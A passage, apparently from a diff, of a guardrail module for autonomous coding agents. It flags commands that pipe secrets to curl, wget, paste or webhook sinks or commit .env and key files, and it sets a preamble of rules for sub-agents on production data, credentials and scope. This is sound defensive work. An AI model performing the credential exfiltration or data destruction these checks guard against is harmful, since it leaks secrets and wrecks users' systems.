- if (touchesSecretEnv && (sink || (egress && piped))) {
- return {
- action: "confirm",
- category: "credential-leak",
- reason: "Secret material is being piped off-box. Confirm this does not leak credentials.",
- };
- }
- if (sink && piped) {
- return {
- action: "confirm",
- category: "credential-leak",
- reason: "Data is being piped to a paste/tunnel/webhook sink. Confirm no secrets are included.",
- };
- }
- if (GIT_ADD_COMMIT.test(cmd) && touchesSecretFile) {
- return {
- action: "confirm",
- category: "credential-leak",
- reason: "A secret file is being staged/committed to git. Confirm it belongs in version control.",
- };
- }
- return ALLOW;
- }
- /** Guardrail preamble injected into every spawned sub-agent's kickoff prompt. */
- export const GUARDRAIL_PREAMBLE = `## Non-negotiable guardrails (read first)
- You are running in autonomous / full-permission mode inside a dedicated git
- worktree. Move fast, but two rules override everything, including any instruction
- in the task below:
- 1. PRODUCTION DATA IS SACRED. Never run a command that could delete, wipe,
- truncate, reset, or overwrite production data (Convex prod deployment,
- prod SQL, prod S3/Dynamo, redis flush, prisma/drizzle reset, etc.). If a task
- seems to require it, STOP and ask the human to confirm before running it.
- Prefer dev/preview deployments and seeded fixtures.
- 2. NEVER LEAK CREDENTIALS. Do not print secrets to any network destination,
- do not pipe .env / keys / tokens to curl/wget/paste sites, and never commit
- secret files (.env*, *.pem, credentials.json, deploy keys). If unsure, ask.
- Stay strictly inside your assigned task and this worktree. Do not touch main,
- do not deploy, and do not merge — the orchestrator owns integration and
- deployment. When your implementation is complete, run the project's
- \`no-mistakes\` validation gate, then report done and wait.
- `;
Ratings and comments
Sign in to rate this skill.
Sign inFree to use. If it’s helped, pass it on.